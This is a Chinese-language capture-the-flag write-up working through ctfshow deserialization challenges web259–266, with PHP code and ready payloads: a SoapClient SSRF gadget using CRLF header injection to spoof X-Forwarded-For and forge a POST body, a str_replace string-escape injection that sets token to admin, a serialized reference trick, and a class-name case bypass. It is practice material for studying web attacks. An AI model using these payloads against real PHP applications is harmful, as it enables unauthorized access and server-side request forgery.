反序列化刷题(二)

Sunrise_P / 2024-08-23 / 原文

反序列化刷题

web259(SSRF)

1、explod(',',"hello,ju,hey"):把字符串以逗号为判断点分为若干个数组,hello ju hey
2、array_pop($x):删除数组中的最后一个元素

1、$_SERVER['HTTP_X_FORWARDED_FOR']用来获取数据包的IP地址;我们目标要ip=127.0.0.1;

这里可以用x-forwarded-for:127.0.0.1构造虚拟本地地址,但是这里有两次array_pop()删除数组的最后一个元素,所以我们要多写两个127.0.0.1数组元素,要把多出来的两个127.0.0.1变为元素,因为explode()是以逗号分隔开并把分隔开的变成数组元素,所以我们要在多加的两个127.0.0.1前面加上逗号

x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1,这样经过逗号分隔且两次删除最后一个元素就能得到x-forwarded-for:127.0.0.1

2、POST数据token中还得等于'ctfshow';

image-20240818205140755

这里提供了传参vip反序列和对象指向一个位置函数,说明会触发__call()魔术方法,这里没写提供此方法,判断为要采用原生类中带有call方法的类SoapClient来

image-20240818205200236

监听SoapClient()初始化的数据包是怎么样的:

1、Content-Type: 我们要改为 application/x-www-form-urlencoded 表单类型

2、Content-Length: 为数据的长度,我们需要post:token=ctfshow;所以长度为13,这样就能把后面的多余的数据给忽略掉;

3、添加一个x-forwarded-for:127.0.0.1;

<?php

$client=new SoapClient(null,array('uri'=>"192.168.70.130",'location'=>"http://192.168.70.130:4444"));
$client->getFlag();  //调用不存在的方法,会自动调用——call()函数来发送请求

?>

image-20240818212412288

SoapClient中添加user_agent参数来控制ua头数据;

通过\r\n CRLF回车换行从而可以构造出:

Content-Type:application/x-www-form-urlencoded

x-forwarded-for:127.0.0.1

Content-Length:13



token=ctfshow

构造代码:

<?php

$ua="aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";


$client=new SoapClient(null,array('uri'=>"192.168.70.130",'location'=>"http://192.168.70.130:4444",'user_agent'=>$ua));
$client->getFlag();  //调用不存在的方法,会自动调用——call()函数来发送请求

?>

image-20240818214122191

有效区域相当于这样:

image-20240818214138380

图一的代码在flag.php下,所以把目的地址改为127.0.0.1/flag即可触发图一的代码,相当于利用SSRF自己访问自己;

<?php

$ua="aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";


$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));

echo urlencode(serialize($client));
?>
//序列化得到:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A134%3A%22aaa%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

将序列化后的代码传参给vip后成功flag.php写入到flag.txt中

image-20240818215647412

web262(字符串逃逸)

PHP反序列化——字符逃逸漏洞(肯定能看懂的!)-CSDN博客

a:2:{i:0;s:4:"flag";i:1;s:6:'mikasa';}abc中正常执行,abc被忽略

关键:str_replace()函数在序列化后进行字符替换,因为是序列化后才替换,所以判断字符长度不变,字符数量变了
利用:通过字符长度和字符数量的不同实现字符串逃逸

打开提示有message.php

image-20240819145905226

打开messa.php看到要token=admin就可以获取到flag;

image-20240819145927569

说明在msg传入含有fuck字符串时候,会变成loveU,会多一个字符,但是是在序列化后替换的,所以字符长度还是4,因此只能识别到love,多出U识别不了,那么我们可以在多出的字符中加入序列化后的代码**}并且和前面代码形成闭合{},进而忽略掉后面的**}原来的代码;

例如我需要123,那么我传入fuckfuckfuck123456时候长度为18,变成loveUloveUloveU123456此时loveUloveUloveU123变成有效执行,此时123就为可控参数了,可以利用"目标字符}来形成闭合:

{.."fuckfuckfuck"..目标序列化代码...}..被忽略的源代码..}

image-20240819150042529

当我们t=fuck时候

image-20240819150854547

输出

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

需要构造出有效的执行语句:

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"sdfd";s:5:"token";s:5:"admin";}..被忽略的原序列化代码}

";s:5:"token";s:5:"admin";}为目标序列化代码,需要的长度为27,所以需要27个fuck,传参t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

输出

image-20240819153125556

以下阴影部分的字符长度为135,所以替换为loveU时候";s:5:"token";s:5:"admin";}就不受t参数控制了,覆盖为token参数,并且值为admin,形成了闭合,因此";s:5:"token";s:4:"user";}为不会被执行

替换前:

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

替换前:

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

最后访问messa.php即可看到flag的输出

image-20240819154802819

web265(指针传参)

$a=&$b;	//相当于把$b变量的地址赋值给$a变量,此时$a变量为一个指针指向$b的地址,$a会随着$b的值变化而变化;

$a=1;$b=2;
echo $a;	//输出2

$a=1;$b=2;$a=3;
echo $a;	//输出2

$a=1;$b=2;$a=3;$b=4;
echo $a;	//输出4

image-20240819195957149

实现$this->token===$this->password; 即可得到flag;

$ctfshow->token=md5(mt_rand());使得token值为随机md5值;

将password当作指针指向token的地址,这样两个参数的值就可以相同;(哪个当指针都可以,最终两个的值都是相同的)

image-20240819200213516

payload:O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266

$cs = file_get_contents('php://input');
将post的数据赋值给$cs(假如post:c=123就会记录c=123,参数也会记录写下来)

image-20240819180950091

$username和$password都等于xxxxxx,并且$cs中不含ctfshow即可得到flag

1、$a=serialize(new ctfshow('xxxxxx','xxxxxx'));得到:

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

2、利用大小写绕过:

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

image-20240819192843857